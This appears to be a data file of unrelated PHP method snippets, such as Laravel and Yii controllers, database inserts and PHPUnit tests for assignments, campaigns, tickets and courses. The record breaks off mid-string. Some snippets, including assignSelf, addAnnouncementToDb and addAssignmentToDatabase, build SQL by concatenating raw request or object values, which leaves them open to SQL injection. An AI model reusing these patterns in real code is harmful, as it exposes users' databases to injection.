$data->district_id = $request->district_id;\n $data->ward_id = $request->ward_id;\n $data->home_number = $request->home_number;\n if ($location != null) {\n $data->lat = $location->lat;\n $data->lng = $location->lng;\n }\n $data->created_at = Carbon::now();\n $data->updated_at = Carbon::now();\n $data->save();\n foreach ($request->collaborator as $col) {\n Collaborator::insert([\n 'user_id' => $col,\n 'agency_id' => $data->id,\n 'created_at' => Carbon::now(),\n 'updated_at' => Carbon::now(),\n ]);\n }\n\n foreach ($request->scope as $s) {\n ManagementScope::insert([\n 'agency_id' => $data->id,\n 'district_id' => $s\n ]);\n }\n if ($request->ward_scope == null) {\n $ward_check = Ward::whereIn('districtId', $request->scope)->orderBy('name', 'asc')->pluck('id');\n $exist_ward = ManagementWardScope::whereIn('ward_id', $ward_check)->pluck('ward_id');\n $ward = Ward::whereIn('districtId', $request->scope)->whereNotIn('id', $exist_ward)->pluck('id');\n foreach ($ward as $w) {\n ManagementWardScope::insert([\n 'agency_id' => $data->id,\n 'ward_id' => $w\n ]);\n }\n } else {\n foreach ($request->ward_scope as $ws) {\n ManagementWardScope::insert([\n 'agency_id' => $data->id,\n 'ward_id' => $ws\n ]);\n }\n }\n DB::commit();\n } catch (\\Exception $e) {\n DB::rollBack();\n dd($e);\n }\n return redirect(url('admin/agencies'))->with('success', 'Thêm mới đại lý thành công');\n }", "public function store(StoreAssignmentsRequest $request)\n {\n if (!Gate::allows('lesson_create')) {\n return abort(401);\n }\n\n $slug = \"\";\n if (($request->slug == \"\") || $request->slug == null) {\n $slug = str_slug($request->title);\n } elseif ($request->slug != null) {\n $slug = $request->slug;\n }\n\n $slug_assignment = Assignment::where('slug', '=', $slug)->first();\n if ($slug_assignment != null) {\n return back()->withFlashDanger(__('alerts.backend.general.slug_exist'));\n }\n\n $assignment = Assignment::create($request->except('downloadable_files', 'assignment_image')\n + ['position' => Assignment::where('lesson_id', $request->lesson_id)->max('position') + 1]);\n\n $assignment->slug = $slug;\n $assignment->save();\n\n\n\n\n //Saving videos\n// if ($request->media_type != \"\") {\n// $model_type = Assignment::class;\n// $model_id = $assignment->id;\n// $size = 0;\n// $media = '';\n// $url = '';\n// $video_id = '';\n// $name = $assignment->title . ' - video';\n//\n// if (($request->media_type == 'youtube') || ($request->media_type == 'vimeo')) {\n// $video = $request->video;\n// $url = $video;\n// $video_id = array_last(explode('/', $request->video));\n// $media = Media::where('url', $video_id)\n// ->where('type', '=', $request->media_type)\n// ->where('model_type', '=', 'App\\Models\\Assignment')\n// ->where('model_id', '=', $assignment->id)\n// ->first();\n// $size = 0;\n// } elseif ($request->media_type == 'upload') {\n// if (\\Illuminate\\Support\\Facades\\Request::hasFile('video_file')) {\n// $file = \\Illuminate\\Support\\Facades\\Request::file('video_file');\n// $filename = time() . '-' . $file->getClientOriginalName();\n// $size = $file->getSize() / 1024;\n// $path = public_path() . '/storage/uploads/';\n// $file->move($path, $filename);\n//\n// $video_id = $filename;\n// $url = asset('storage/uploads/' . $filename);\n//\n// $media = Media::where('type', '=', $request->media_type)\n// ->where('model_type', '=', 'App\\Models\\Assignment')\n// ->where('model_id', '=', $assignment->id)\n// ->first();\n// }\n// } elseif ($request->media_type == 'embed') {\n// $url = $request->video;\n// $filename = $assignment->title . ' - video';\n// }\n//\n// if ($media == null) {\n// $media = new Media();\n// $media->model_type = $model_type;\n// $media->model_id = $model_id;\n// $media->name = $name;\n// $media->url = $url;\n// $media->type = $request->media_type;\n// $media->file_name = $video_id;\n// $media->size = 0;\n// $media->save();\n// }\n// }\n\n// $request = $this->saveAllFiles($request, 'downloadable_files', Assignment::class, $assignment);\n\n if (($request->slug == \"\") || $request->slug == null) {\n $assignment->slug = str_slug($request->title);\n $assignment->save();\n }\n\n// $sequence = 1;\n// if (count($assignment->course->courseTimeline) > 0) {\n// $sequence = $assignment->course->courseTimeline->max('sequence');\n// $sequence = $sequence + 1;\n// }\n\n return redirect()->route('admin.assignments.index', ['lesson_id' => $request->lesson_id])->withFlashSuccess(__('alerts.backend.general.created'));\n }", "public function store(Request $request)\n {\n $campaign = Campaign::create([\n \"advertiser_id\" => Input::get(\"advertiser_id\"),\n \"name\" => Input::get(\"name\"),\n \"campaign_type_id\" => Input::get(\"campaign_type_id\"),\n \"posting_url\" => Input::get(\"posting_url\")\n ]);\n return redirect(route(\"campaigns.show\", [\"id\" => $campaign->id]));\n }", "public function testCreatePremiumArticle()\n {\n $this->Request()->setMethod('POST')->setPost($this->premiumData);\n\n $this->dispatch('backend/premium/createPremiumArticle');\n static::assertTrue($this->View()->success);\n\n $jsonBody = $this->View()->getAssign();\n\n static::assertArrayHasKey('data', $jsonBody);\n static::assertArrayHasKey('success', $jsonBody);\n static::assertArrayHasKey('id', $jsonBody['data']);\n\n return $jsonBody['data']['id'];\n }", "public function testNewPaidYearlyAccountAddValidRecord()\n {\n $this->insight->accounts->addPaid(12345, new PlanM(), new Yearly());\n\n $row = $this->connection->executeFirstRow(\"SELECT * FROM {$this->insight->getTableName('accounts')} WHERE `id` = ?\", 12345);\n\n $this->assertInternalType('array', $row);\n $this->assertEquals(12345, $row['id']);\n $this->assertEquals(AccountsInterface::PAID, $row['status']);\n $this->assertEquals(PlanM::class, $row['plan']);\n $this->assertEquals(Yearly::class, $row['billing_period']);\n $this->assertEquals($this->current_timestamp->format('Y-m-d H:i:s'), $row['created_at']->format('Y-m-d H:i:s'));\n $this->assertEquals(date('Y'), $row['cohort_year']);\n $this->assertEquals(date('m'), $row['cohort_month']);\n $this->assertNull($row['canceled_at']);\n $this->assertEquals(41.583, $row['mrr_value']);\n $this->assertFalse($row['had_trial']);\n }", "public function actionCreate()\n {\n $model = new AuthAssignment();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'item_name' => $model->item_name, 'user_id' => $model->user_id]);\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "public function store(Request $request)\n {\n //\n if(!Auth::check())\n {\n abort(403);\n }\n\n $clpGuid = config('appsettings.clpGUID');\n\n Campaign::create(array(\n 'guid' => uniqid(\"CMP\"),\n 'title' => $request->title,\n 'owner' => $request->owner,\n 'subtitle' => '',\n 'body' => '',\n 'active' => false,\n 'usesubscriptionlist' => false,\n 'useactionlist' => false,\n ));\n\n }", "private function assignToProject()\n {\n // Create query\n $query = '\n INSERT INTO p_s_junction\n SET\n p_id = :p_id,\n s_id = :s_id\n ';\n\n // Prepare statement\n $stmt = $this->conn->prepare($query);\n\n // Bind data\n $stmt->bindParam(':p_id', $this->p_id);\n $stmt->bindParam(':s_id', $this->s_id);\n\n // Execute query\n if ($stmt->execute()) {\n return true;\n }\n\n return false;\n }", "public function insert() {\n\t\t$insert_array = $this->toDbArray(true, true);\n\t\tif (array_key_exists('_id', $insert_array)) { unset($insert_array['_id']); }\n\t\t$ret_val = $this->getCollection()->save($insert_array);\n\t\tif (isset($insert_array['_id'])) {\n\t\t\t$this->setId($insert_array['_id']);\n\t\t}\n\t\treturn $this->getId();\n\t}", "public function testNewPaidMonthlyAccountAddValidRecord()\n {\n $this->assertEquals(0, $this->connection->executeFirstCell(\"SELECT COUNT(`id`) AS 'row_count' FROM {$this->insight->getTableName('accounts')}\"));\n $this->insight->accounts->addPaid(12345, new PlanL(), new Monthly());\n $this->assertEquals(1, $this->connection->executeFirstCell(\"SELECT COUNT(`id`) AS 'row_count' FROM {$this->insight->getTableName('accounts')}\"));\n\n $row = $this->connection->executeFirstRow(\"SELECT * FROM {$this->insight->getTableName('accounts')} WHERE `id` = ?\", 12345);\n\n $this->assertInternalType('array', $row);\n $this->assertEquals(12345, $row['id']);\n $this->assertEquals(PlanL::class, $row['plan']);\n $this->assertEquals(Monthly::class, $row['billing_period']);\n $this->assertEquals(AccountsInterface::PAID, $row['status']);\n $this->assertEquals($this->current_timestamp->format('Y-m-d H:i:s'), $row['created_at']);\n $this->assertEquals(date('Y'), $row['cohort_year']);\n $this->assertEquals(date('m'), $row['cohort_month']);\n $this->assertNull($row['canceled_at']);\n $this->assertEquals(99, $row['mrr_value']);\n $this->assertFalse($row['had_trial']);\n }", "public function addAssignment(Collection &$assignments, ElementableDependencyDataProvider $data_provider, ?string $key = null): ElementableDependency;", "private function assignSelf()\n {\n $user_id = $_SESSION['LOGIN_USER']['userId'];\n \n $ticket_id = $_REQUEST['ticket_id'];\n if(!$ticket_id)\n {\n echo '[{\"isError\":1, \"message\":\"No ticket ID given\"}]';\n exit;\n }\n \n $status_type = Utils::arrayAlterKeyValue(\n $GLOBALS['TICKET_STATUS_TYPE']\n );\n\n $sql = \"SELECT count(*) as total \n FROM \" . TICKET_ASSIGNMENTS_TBL . \" \n WHERE ticket_id = $ticket_id AND user_id = $user_id\";\n try\n {\n $rows = $this->db->select($sql);\n }\n catch(Exception $Exception){}\n if($rows)\n {\n if($rows[0]->total)\n {\n echo '[{\"isError\":1, \"message\":\"The ticket is already being assigned\"}]';\n exit;\n }\n }\n\n $data = array();\n $data['table'] = TICKETS_TBL;\n $data['data'] = array(\n 'status' => $status_type['assigned']\n );\n $data['where'] = \"ticket_id = \" . $ticket_id;\n try\n {\n $this->db->update($data);\n }\n catch(Exception $Exception){}\n \n $data = array();\n $data['table'] = TICKET_ASSIGNMENTS_TBL;\n $data['data'] = array(\n 'ticket_id' => $ticket_id,\n 'user_id' => $user_id,\n 'assigned_date' => date('Y-m-d H:i:s')\n );\n try\n {\n $this->db->insert($data);\n }\n catch(Exception $Exception){}\n \n //save log \n $this->saveLog(TICKET_ASSIGNMENT, $ticket_id, $user_id);\n \n echo '[{\"isError\":0, \"message\":\"The ticket has been assigned successfully\"}]';\n exit;\n }", "public function store(CreateBillingRequest $request)\n\t{\n $input = $request->all();\n\n\t\t$billing = $this->billingRepository->store($input);\n\n\t\tFlash::message('Billing saved successfully.');\n\n\t\treturn redirect(route('billings.index'));\n\t}", "public function store($campaign_id, Request $request)\n {\n $campaign = Campaign::where(\"status_id\", CampaignStatus::APPROVED)->where(\"id\", $campaign_id)->first();\n\n if(!$campaign)\n return self::responseErrors(\"Campaign with id \".$campaign_id.\" not found, or not public\", 404);\n\n $validator = Validator::make($request->all(), [\n \"body\" => [\"required\", \"string\", \"min:3\", \"max:500\"]\n ]);\n\n if ($validator->fails())\n return self::responseErrors($validator->errors(), 422);\n\n $comment = new Comment();\n $comment->author_id = Auth::user()->id;\n $comment->body = $request[\"body\"];\n $comment->campaign_id = $campaign_id;\n\n $comment->save();\n\n return self::responseData(new CommentsResource($comment), 201);\n }", "public function saved(assignment $assignment)\n {\n //code...\n }", "public function created(assignment $assignment)\n {\n //code...\n }", "public function listBillingAssignments($profileId, $billingProfileId, $optParams = [])\n {\n $params = ['profileId' => $profileId, 'billingProfileId' => $billingProfileId];\n $params = array_merge($params, $optParams);\n return $this->call('list', [$params], BillingAssignmentsListResponse::class);\n }", "public function store(Request $request)\n {\n return $this->createAllocation($request);\n }", "function assign_questions($question){\n $this->db->insert('questions_project', $question);\n\n //Get the id of the project\n $insert_id = $this->db->insert_id();\n\n return $insert_id;\n }", "public function postStore(ProjectAssignStore $request, $project_id)\n {\n $item = $this->repository->createNew($request->all(), $project_id);\n\n return response()->json(['status' => 'created'], 201);\n }", "protected function addAnnouncementToDb()\n {\n $db = Db::getConnection();\n $db->query(\"INSERT INTO sale (id, id_user, is_banned, street, total_area, living_area, kitchen_area, balcony, description, price, type_house, floor, count_floor, rooms_count, ownership) VALUES (NULL, '$this->userId', NULL, '$this->street', '$this->totalArea', '$this->livingArea', '$this->kitchenArea', '$this->balcony', '$this->description', '$this->price', '$this->typeHouse', '$this->floor', '$this->countOfFloors', '$this->roomsCount', '$this->ownership');\");\n return $db->lastInsertId();\n }", "protected function createAssignments($writer)\n\t{\n\t\tinclude_once './Services/ADN/Report/classes/class.adnReportFileUtils.php';\n\t\tinclude_once './Services/ADN/MD/classes/class.adnCountry.php';\n\t\tinclude_once \"Services/ADN/ES/classes/class.adnCertifiedProfessional.php\";\n\t\tinclude_once './Services/ADN/EP/classes/class.adnAnswerSheetAssignment.php';\n\t\tinclude_once './Services/ADN/EP/classes/class.adnAnswerSheet.php';\n\t\t\n\t\t// Create answer sheets\n\t\t$all_sheets = adnAnswerSheetAssignment::getEventSheets($this->getEvent()->getId());\n\t\tforeach($all_sheets as $sheet_id)\n\t\t{\n\t\t\tif(!adnAnswerSheetAssignment::isAssigned($sheet_id))\n\t\t\t{\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t$sheet = new adnAnswerSheet($sheet_id);\n\t\t\tif($sheet->validate())\n\t\t\t{\n\t\t\t\t$this->createAnswerSheet($writer,$sheet);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tthrow new adnReportException(\"Ungültiger Prüfungsbogen: \".$sheet->getNumber());\n\t\t\t}\n\t\t}\n\n\t\t// All assignments\n\t\tinclude_once \"Services/ADN/EP/classes/class.adnAssignment.php\";\n\t\t$assignments = adnAssignment::getAllAssignments(\n\t\t\tarray(\n\t\t\t\t\"event_id\" => $this->getEvent()->getId()\n\t\t\t)\n\t\t);\n\t\tforeach($assignments as $assignment)\n\t\t{\n\t\t\t// @todo: sort by MC, CASE\n\t\t\t$sheets = adnAnswerSheetAssignment::getAllSheets(\n\t\t\t\t$assignment['cp_professional_id'],\n\t\t\t\t$this->getEvent()->getId()\n\t\t\t);\n\n\t\t\t$cand = new adnCertifiedProfessional($assignment[\"cp_professional_id\"]);\n\t\t\tforeach($sheets as $sheet_data)\n\t\t\t{\n\t\t\t\t$sheet_id = $sheet_data['ep_answer_sheet_id'];\n\t\t\t\t\n\t\t\t\t$sheet = new adnAnswerSheet($sheet_id);\n\t\t\t\t$this->createSheetCover($writer,$sheet,$cand);\n\t\t\t\t$this->createSituation($writer,$sheet);\n\n\t\t\t\t// Update generated on time\n\t\t\t\t$sheet_assignment = new adnAnswerSheetAssignment(\n\t\t\t\t\t\tadnAnswerSheetAssignment::find(\n\t\t\t\t\t\t\t\t$assignment['cp_professional_id'],\n\t\t\t\t\t\t\t\t$sheet_id)\n\t\t\t\t);\n\t\t\t\t$sheet_assignment->setGeneratedOn(new ilDateTime(time(),IL_CAL_UNIX));\n\t\t\t\t$sheet_assignment->update();\n\t\t\t}\n\t\t}\n\t}", "public function create(int $projectId, ProjectTaskAssignmentDataObject $projectTaskAssignment) : AbstractDataObject\n {\n $data = $this->addRequiredDataFromDataObject(static::$requiredCreateFields, [], $projectTaskAssignment);\n $data = $this->addOptionalDataFromDataObject(static::$optionalCreateFields, $data, $projectTaskAssignment);\n $options = [RequestOptions::JSON => $data];\n $uri = sprintf('projects/%s/task_assignments', $projectId);\n $response = $this->getHttpClient()->post($uri, $options);\n\n return $this->getDataObjectFromResponse(ProjectTaskAssignmentDataObject::class, $response);\n }", "public function store(Request $request)\n {\n $validator = Validator::make($request->all(), [\n 'course_id' => 'required',\n 'batch_no' => 'required',\n 'start_date' => 'required',\n 'start_time' => 'required',\n ]);\n\n if ($validator->passes()) {\n DB::beginTransaction();\n\n $classes = EduCourseAssignClass_Provider::valid()->where('course_id',$request->course_id)->get();\n\n if(count($classes) > 0){\n\n $batch_info = EduAssignBatch_Provider::create([\n 'batch_no' => $request->batch_no,\n 'course_id' => $request->course_id,\n 'start_date' => Helper::dateYMD($request->start_date),\n 'start_time' => Helper::timeHi24($request->start_time),\n 'batch_fb_url' => $request->batch_fb_url,\n ]);\n \n \n foreach ($classes as $key => $class) {\n if($key == 0){\n EduAssignBatchClasses_Provider::create([\n 'batch_id' => $batch_info->id,\n 'course_id' => $batch_info->course_id,\n 'class_id' => $class->id,\n 'start_date' => Helper::dateYMD($request->start_date),\n 'start_time' => Helper::timeHi24($request->start_time),\n 'complete_status' => 2, //2==running\n ]);\n }else{\n EduAssignBatchClasses_Provider::create([\n 'batch_id' => $batch_info->id,\n 'course_id' => $batch_info->course_id,\n 'class_id' => $class->id,\n ]);\n }\n }\n \n $output['messege'] = 'Assign Batch has been created';\n $output['msgType'] = 'success';\n }else {\n $output['messege'] = 'Please at first create Archive class !!!';\n $output['msgType'] = 'danger';\n }\n\n DB::commit();\n return redirect()->back()->with($output);\n } else {\n return redirect()->back()->withErrors($validator);\n }\n }", "public function create()\n {\n if (Gate::denies('is_admin', Auth::user()))\n return back();\n\n return view('dashboard.assignments.create');\n }", "public function insert($raporAdminSetting);", "function insertSubscription(&$institutionalSubscription) {\n\t\t$subscriptionId = null;\n\t\tif ($this->_insertSubscription($institutionalSubscription)) {\n\t\t\t$subscriptionId = $institutionalSubscription->getId();\n\n\t\t\t$returner = $this->update(\n\t\t\t\t'INSERT INTO institutional_subscriptions\n\t\t\t\t(subscription_id, institution_name, mailing_address, domain)\n\t\t\t\tVALUES\n\t\t\t\t(?, ?, ?, ?)',\n\t\t\t\tarray(\n\t\t\t\t\t$subscriptionId,\n\t\t\t\t\t$institutionalSubscription->getInstitutionName(),\n\t\t\t\t\t$institutionalSubscription->getInstitutionMailingAddress(),\n\t\t\t\t\t$institutionalSubscription->getDomain()\n\t\t\t\t)\n\t\t\t);\n\n\t\t\t$this->_insertSubscriptionIPRanges($subscriptionId, $institutionalSubscription->getIPRanges());\n\t\t}\n\n\t\treturn $subscriptionId;\n\t}", "public function insert() {\n\n // Does the Course object already have an ID?\n if ( !is_null( $this->courseId ) ) trigger_error ( \"Course::insert(): Attempt to insert course object that already has its ID property set (to $this->courseId).\", E_USER_ERROR );\n\n // Insert the course\n $conn = new PDO( DB_DSN, DB_USERNAME, DB_PASSWORD );\n $sql = \"INSERT INTO course ( courseCode, courseName, description, headTeacher )\n VALUES (:courseCode,:courseName,:description,:headTeacher)\";\n $st = $conn->prepare ( $sql );\n $st->bindValue( \":courseCode\", $this->courseCode, PDO::PARAM_STR );\n $st->bindValue( \":courseName\", $this->courseName, PDO::PARAM_STR );\n $st->bindValue( \":description\", $this->description, PDO::PARAM_STR );\n $st->bindValue( \":headTeacher\", $this->headTeacher, PDO::PARAM_STR );\n\n $st->execute();\n $this->courseId = $conn->lastInsertId();\n $conn = null;\n }", "public function insert($profileId, $campaignId, CampaignCreativeAssociation $postBody, $optParams = [])\n {\n $params = ['profileId' => $profileId, 'campaignId' => $campaignId, 'postBody' => $postBody];\n $params = array_merge($params, $optParams);\n return $this->call('insert', [$params], CampaignCreativeAssociation::class);\n }", "public function duplicateAttempt(Request $request)\n {\n $postParams = $request->all();\n unset($postParams['_token']);\n $this->_initAddAccountPageDynamicData();\n\n $saveParams = $postParams['saveParams'];\n $accountNumberValidationRules = $this->_getAccountNumberValidationRules($saveParams['country']);\n $validator = Validator::make($saveParams, [\n 'account_name' => !empty($saveParams['account_name']) ? 'required' : '',\n 'bank_name' => !empty($saveParams['bank_name']) ? 'required' : '',\n 'account_number' => !empty($saveParams['account_number']) ? $accountNumberValidationRules : '',\n 'iban' => !empty($saveParams['iban']) ? $accountNumberValidationRules : '',\n 'account_type' => !empty($saveParams['account_type']) ? 'required' : '',\n 'swift_code' => !empty($saveParams['swift_code']) ? 'required|alpha_num|regex:/^[a-zA-Z0-9]{8}([a-zA-Z0-9]{3})?$/' : '',\n 'branch_address' => !empty($saveParams['branch_address']) ? 'required' : '',\n 'sort_code' => !empty($saveParams['sort_code']) ? 'required|numeric|digits:6' : '',\n 'routing_number' => !empty($saveParams['routing_number']) ? 'required|numeric|digits:9' : '',\n 'ifsc_code' => !empty($saveParams['ifsc_code']) ? 'required|alpha_num|min:11|max:11' : '',\n 'transit_number' => !empty($saveParams['transit_number']) ? 'required|numeric|digits:5' : '',\n 'institution_number' => !empty($saveParams['institution_number']) ? 'required|numeric|digits:3' : '',\n 'bsb' => !empty($saveParams['bsb']) ? 'required|numeric|digits:6' : '',\n 'bank_code' => !empty($saveParams['bank_code']) ? 'required|numeric|digits:4' : '',\n 'branch_code' => !empty($saveParams['branch_code']) ? 'required|numeric|digits:3' : '',\n 'meps' => !empty($saveParams['meps']) ? 'required|alpha_num|min:8|max:8' : '',\n 'clabe' => !empty($saveParams['clabe']) ? $accountNumberValidationRules : '',\n 'brstn_code' => !empty($saveParams['brstn_code']) ? 'required|numeric|digits:9' : '',\n ]);\n if ($validator->fails())\n return response()->json(['error' => true, 'message' => 'Security Threat - Tampered Request Payload!']);\n if ($this->_foundDuplicacy($saveParams))\n return response()->json([\n 'error' => true,\n 'message' => 'An error ocurred. This bank account can\\'t be added right now.'\n ]);\n return response()->json(['error' => false, 'message' => 'New Account.']);\n }", "public function addEmailCampaign(){\n\n if (isset($_POST['addEmailCampaign'])){\n $this->form_validation->set_rules('campaign_name', 'campaign name', 'required|is_unique[campaigns.campaign_name]');\n\n //if form validation true\n if ($this->form_validation->run() == TRUE){\n\n $newcampaign = [\n 'campaign_name' =>$_POST['campaign_name']\n ];\n\n $this->db->insert('campaigns', $newcampaign);\n redirect('userCont/dashboardview');\n \n }\n\n }\n\n redirect('userCont/dashboardview');\n\n }", "public function insert() {\n\t$stmt = $this->_database->prepare('INSERT INTO planetterrains (planetid, terrainid, x, y) VALUES (?, ?, ?, ?)');\n\t$stmt->bind_param('iiii', $this->planetid, $this->terrainid, $this->x, $this->y);\n\t$stmt->execute();\n\t$this->refid = $this->_database->insert_id;\n\tif (\\is_array($this->deposit) && \\count($this->deposit) > 0) {\n\t $this->deposit[$this->refid]->terrainid = $this->refid;\n\t $this->deposit[$this->refid]->commit();\n\t}\n\telse if (!\\is_array($this->deposit)) {\n\t $this->deposit->terrainid = $this->refid;\n\t $this->deposit->commit();\n\t}\n }", "public function created(AssignmentSubmitted $assignmentSubmitted)\n {\n //\n }", "public function create($post)\n {\n // validate the data\n $this->validate($post);\n\n\t\t// storage data\n\t\t$data = array(\n\t\t\t'job_id' \t\t\t=> $post['job_id'],\n\t\t\t'client_id' \t\t=> $post['client_id'],\n 'name' \t\t\t\t=> $post['name'],\n 'email' \t\t\t=> $post['email'],\n 'previous_job_title' => $post['previous_job_title'],\n 'cover_letter' \t\t=> !empty($post['cover_letter']) ? $post['cover_letter'] : NULL,\n 'resume' \t\t\t=> !empty($post['resume']) ? $post['resume'] : NULL,\n\t\t\t'created_ts' \t\t=> time()\n\t\t);\n\n\t\treturn $this->_db->insert('applicants', $data);\n }", "private function determineAssignment() {\n // if(isset($workflow_submission->assignment->url)){\n // $assignment_data;\n // if(!isset($workflow_submission->assignment->data)){\n // $assignment_data = array();\n // }else{\n // foreach($workflow_submission->assignment->data as $key=>$value){\n // $assignment_data->{$key} = $m->render($value, $state_data);\n // }\n // }\n // $httpHelper = new HTTPHelper();\n // if(isset($workflow_submission->assignment->endpoint)){\n // $endpoint = Endpoint::find((int)$workflow_submission->assignment->endpoint);\n // $url = $m->render($endpoint->config->url . $workflow_submission->assignment->url, $state_data);\n // if ($endpoint->type == 'http_no_auth') {\n // $state_data['assignment']['data'] = $httpHelper->http_fetch( $url,\"GET\",$assignment_data);\n // } else if ($endpoint->type == 'http_basic_auth') {\n // $state_data['assignment']['data'] = $httpHelper->http_fetch($url,\"GET\",$assignment_data,$endpoint->config->username, $endpoint->getSecret());\n // } else {\n // abort(505,'Authentication Type Not Supported');\n // }\n // } else {\n // $state_data['assignment']['data'] = $httpHelper->http_fetch($m->render($workflow_submission->assignment->url, $state_data),\"GET\", $assignment_data);\n // }\n // }\n // This action can only be performed by action asignee\n }", "public function add() {\n $dataH['CustomerBankAccount'] = $_lib['sess']->get_companydef('BankAccount');\n $old_pattern = array(\"/[^0-9]/\");\n $new_pattern = array(\"\");\n $dataH['CustomerAccountPlanID'] = strtolower(preg_replace($old_pattern, $new_pattern , $_lib['sess']->get_companydef('OrgNumber')));\n }", "public function Store()\n {\n $post_data = Input::all();\n $CompanyID = User::get_companyID();\n\n $rules['Name'] = 'required|unique:tblDiscountPlan,Name,NULL,CompanyID,CompanyID,' . $CompanyID;\n $rules['DestinationGroupSetID'] = 'required|numeric';\n $rules['CurrencyID'] = 'required|numeric';\n\n $validator = Validator::make($post_data, $rules);\n if ($validator->fails()) {\n return generateResponse($validator->errors(),true);\n }\n try {\n $insertdata = array();\n foreach ($rules as $columnname => $column) {\n $insertdata[$columnname] = $post_data[$columnname];\n }\n if (isset($post_data['Description'])) {\n $insertdata['Description'] = $post_data['Description'];\n }\n $insertdata['CompanyID'] = $CompanyID;\n $insertdata['CreatedBy'] = User::get_user_full_name();\n $insertdata['created_at'] = get_currenttime();\n $DiscountPlan = DiscountPlan::create($insertdata);\n return generateResponse('Discount Plan added successfully');\n } catch (\\Exception $e) {\n Log::info($e);\n return $this->response->errorInternal('Internal Server');\n }\n }", "private function insert_target_grade()\r\n {\r\n global $DB;\r\n $params = $this->get_params();\r\n $this->id = $DB->insert_record('block_bcgt_target_grades', $params);\r\n }", "public function insert($tblCoverage){\n\t\t$sql = 'INSERT INTO tbl_coverage (location_name, lat, lng, infowindow_text) VALUES (?, ?, ?, ?)';\n\t\t$sqlQuery = new SqlQuery($sql);\n\t\t\n\t\t$sqlQuery->set($tblCoverage->locationName);\n\t\t$sqlQuery->set($tblCoverage->lat);\n\t\t$sqlQuery->set($tblCoverage->lng);\n\t\t$sqlQuery->set($tblCoverage->infowindowText);\n\n\t\t$id = $this->executeInsert($sqlQuery);\t\n\t\t$tblCoverage->id = $id;\n\t\treturn $id;\n\t}", "public function duplicateCampaign(Request $request, $oldCampaignId)\n {\n $newCampaign = Campaign::create([\n \"advertiser_id\" => Input::get(\"advertiser_id\"),\n \"name\" => Input::get(\"name\"),\n \"campaign_type_id\" => Input::get(\"campaign_type_id\"),\n \"posting_url\" => Input::get(\"posting_url\")\n ]);\n\n // Get the campaign attributes.\n $oldCampaignAttributes = CampaignAttribute::whereCampaignId($oldCampaignId)->get();\n foreach($oldCampaignAttributes as $campaignAttribute) {\n $storageItem = (new MutableDataProcessorProvider())->createNewDataPair($newCampaign->id, \"campaign\", $campaignAttribute->data->value);\n CampaignAttribute::create([\n \"campaign_id\" => $newCampaign->id,\n \"name\" => $campaignAttribute->name,\n \"storage_id\" => $storageItem->id\n ]);\n }\n\n // Get the campaign fields.\n $oldCampaignFields = CampaignField::whereCampaignId($oldCampaignId)->get();\n foreach($oldCampaignFields as $campaignField) {\n CampaignField::create(array_merge([\n \"campaign_id\" => $newCampaign->id\n ],collect($campaignField)->except([\"id\",\"campaign_id\",\"created_at\",\"updated_at\"])->toArray()));\n }\n\n // Redirect to the new campaign.\n return redirect(route(\"campaigns.show\",[\"id\" => $newCampaign->id]));\n }", "public function store(CreateFacilityPlanRequest $request)\n { \t\n //$data= $request->all();\n $facilityKeys= array();\n \n $facilityKeys= ArrayCheckHelper::ignoreRepeated($request->all(), \"facility\");\n /*foreach($request->all() as $key => $val){\n \tif(preg_match(\"%^facility[0-9]+$%\", $key) && $val !== \"\"){\n \t\t//check that a value doesn't repeat\n \t\t$repeatedVal= false;\n \t\tforeach($facilityKeys as $facilityKey){\n \t\t\tif($val == $facilityKey){\n \t\t\t\t$repeatedVal=true;\n \t\t\t\tbreak;\n \t\t\t}\n \t\t}\n \t\tif(!$repeatedVal)\n \t\t\t$facilityKeys[]= $val;\n \t}\n }\n /*foreach($request->all() as $key => $val){\n \tif($key !== \"_token\" && $key !==\"name\")\n \t\t$facilityKeys[]= $val;\t\n } */ \n \n \t$facility_plan= FacilityPlan::create($request->all());\n \t$facility_plan->facilities()->attach($facilityKeys);\n \n return \\Redirect::route('admin.facility_plans.index');\n }", "public function insert()\n {\n $this->_checkItem();\n $service = $this->getService();\n $entry = $service->newItemEntry();\n $this->setEntry($entry);\n $this->_prepareEnrtyForSave();\n $this->getEntry()->setItemType($this->_getItemType());\n $entry = $service->insertGbaseItem($this->getEntry());\n $this->setEntry($entry);\n $entryId = $this->getEntry()->getId();\n $published = $this->gBaseDate2DateTime($this->getEntry()->getPublished()->getText());\n $this->getItem()\n ->setGbaseItemId($entryId)\n ->setPublished($published);\n\n if ($expires = $this->_getAttributeValue('expiration_date')) {\n $expires = $this->gBaseDate2DateTime($expires);\n $this->getItem()->setExpires($expires);\n }\n }", "public function insert($medAccount);", "public function store(CreateBlockAssignmentRequest $request)\n {\n if ($request->hasFile('file_name') && $request->file('file_name')->isValid()) {\n\n $image = $request->file('file_name')->getClientOriginalName();\n\n $new_file = time() . \" - \" . $image;\n\n $request->file('file_name')->move(public_path() . '/img/uploads/plots/', $new_file);\n\n BlockAssignment::create([\n 'area_id' => $request->input('area_id'),\n 'areas_type_id' => $request->input('areas_type_id'),\n 'block_id' => $request->input('block_id'),\n 'file_name' => $new_file\n ]);\n\n flash()->success('Imefanikiwa');\n\n return redirect('admin/block-assignments/create');\n\n } else {\n\n BlockAssignment::create([\n 'area_id' => $request->input('area_id'),\n 'areas_type_id' => $request->input('areas_type_id'),\n 'block_id' => $request->input('block_id')\n ]);\n\n // flash()->error('Imeshindwa kupakia picha. Tafadhali jaribu tena baadae.');\n flash()->success('Imefanikiwa');\n\n return redirect('admin/block-assignments');\n }\n\n }", "public function getAssignmentNumber()\n {\n return $this->setup->getNumberOfAssignments();\n }", "function addAssignmentToDatabase($name, $code, $teacher_id) {\n\t\t# Inserts user into database\n\t\t$result = mysql_query(\"INSERT INTO Assignments (Assignment_Code, Name, Teacher_ID) VALUES ( '$code', '$name', '$teacher_id' )\")\n\t\t\tor die(\"<p>Error inserting into the database: \" .\n\t\t\t\t\tmysql_error() . \"</p>\");\n\t}", "public function actionCreate()\n {\n $model = new IssueAssign();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "public function setAssignmentId($assignmentId)\n\t{\n\t\t$this->assignmentId = $assignmentId;\n\n\t\treturn $this;\n\t}", "public function save(Announcement $announcement)\n {\n\n $insert = \"INSERT INTO announcements (site, filename, 